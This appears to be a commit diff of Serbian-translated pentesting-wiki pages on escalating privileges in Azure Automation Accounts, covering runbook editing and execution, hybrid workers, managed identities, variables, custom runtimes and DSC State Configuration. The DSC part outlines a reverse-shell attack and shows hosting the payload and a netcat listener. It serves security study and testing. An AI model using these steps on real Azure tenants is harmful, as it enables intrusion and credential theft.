Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:28 +00:00
parent 69ef917340
commit 211079550d
2 changed files with 73 additions and 27 deletions

View File

@@ -10,11 +10,20 @@ Za više informacija pogledajte:
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. To može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM.
Štaviše, ako hybrid worker radi u Azure-u sa drugim Pridruženim Identitetima, runbook će moći da pristupi **pridruženom identitetu runbook-a i svim pridruženim identitetima VM-a iz metadata servisa**.
> [!TIP]
> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token pridruženih identiteta automatskog naloga (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i pokretanje Runbook-a** u Automation Account-u, što možete iskoristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account-u.
Kao sažetak, ove dozvole omogućavaju **kreiranje, modifikovanje i pokretanje Runbook-ova** u Automatskom Nalog, što možete iskoristiti za **izvršavanje koda** u kontekstu Automatskog Naloga i eskalaciju privilegija na dodeljene **Pridružene Identitete** i curenje **akreditiva** i **kriptovanih varijabli** koje su sačuvane u Automatskom Nalog.
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći:
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automatskom Nalog koristeći:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,7 +47,11 @@ az automation runbook publish \
```
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account-u koristeći:
```bash
@@ -51,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ova dozvola omogućava korisniku da **dodeli korisnički upravljanu identitet** Automation Account-u koristeći:
Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti planera runbook-u koristeći:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,32 +194,48 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**.
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**.
Pored toga, zapamtite da za rad sa izvorom kontrole u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, to se može konfigurisati tako što se u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** postavi **client id** korisničkog upravljanog identiteta koji će se koristiti.
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijent ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Imajte na umu da nije moguće promeniti URL repozitorijuma izvora kontrole nakon što je kreiran.
> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
### `Microsoft.Automation/automationAccounts/variables/write`
Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je pisati varijable u Automation Account koristeći sledeću komandu.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Prilagođena Runtime Okruženja
Ako automation account koristi prilagođeno runtime okruženje, moglo bi biti moguće prepisati prilagođeni paket runtime-a sa nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se runbook koji koristi to prilagođeno runtime izvrši i učita prilagođeni paket, zlonamerni kod će biti izvršen.
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
### Kompromitovanje State Configuration
### Kompromitovanje Konfiguracije Stanja
**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Korak 1 — Kreirajte Fajlove
- Korak 1 — Kreiranje Fajlova
**Potrebni Fajlovi:** Potrebna su dva PowerShell skripta:
1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Prilagođavanje:** Promenljive i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
- Korak 2 — Zip Konfiguracioni Fajl
- Korak 2 — Zip Fajl Konfiguracije
`reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos u Azure Storage Account.
Fajl `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
@@ -229,7 +259,7 @@ Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverzn
- Korak 6 — Hostuj Payload i Postavi Listener
Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

View File

@@ -9,7 +9,7 @@ Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje p
### Podešavanja
- **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**.
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može uključivati i osetljive informacije poput API ključeva. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
- **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima.
- **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**.
- **Pristup mreži**: Može se postaviti na **javnu** ili **privatnu**.
@@ -40,13 +40,13 @@ Postoje 3 glavna načina za izvršavanje Runbook-a:
### Kontrola izvora
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog.
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se Runbook-i iz repozitorijuma objave na Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** na Azure Automation nalog.
Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran.
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljani identitet (sistem ili korisnik) sa **`Contributor`** ulogom. Štaviše, da bi se dodelio korisnički upravljani identitet automatizovanom nalogu, moguće je to učiniti jednostavno postavljanjem promenljive **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** na **ID klijenta korisničkog upravljanog identiteta**.
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Okruženja za izvršavanje
@@ -59,21 +59,28 @@ Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaul
- **Python 3.8**
- **Python 2.7**
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju.
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti u izvršavanju.
### Hibridni radnik
### Hibridne grupe radnika
Runbook se može izvršavati u **kontejneru unutar Azure-a** ili u **Hibridnom radniku** (mašina koja nije Azure).\
**Log Analytics Agent** se instalira na VM-u da bi se registrovao kao hibridni radnik.\
Poslovi hibridnog radnika se izvršavaju kao **SYSTEM** na Windows-u i **nxautomation** nalogu na Linux-u.\
Svaki Hibridni radnik je registrovan u **Hibridnoj radničkoj grupi**.
U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne grupe radnika. Hibridna grupa radnika se sastoji od **jednog ili više Hibridnih Runbook radnika instaliranih na vašim mašinama**, bilo lokalno, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a.
Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hibridnom radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
Kada se kreira hibridna grupa radnika, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije:
- **Podrazumevani akreditivi**: Ne morate davati akreditive i runbook-i će se izvršavati unutar VM-ova kao **Sistem**.
- **Specifični akreditivi**: Morate navesti naziv objekta akreditiva unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće akreditive** za VM-ove.
Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hybrid Worker**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz servisa za metapodatke**.
> [!TIP]
> Zapamtite da **servis za metapodatke** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**).
### Konfiguracija stanja (SC)
>[!WARNING]
> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena sa [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automation Accounts takođe podržavaju **Konfiguraciju stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell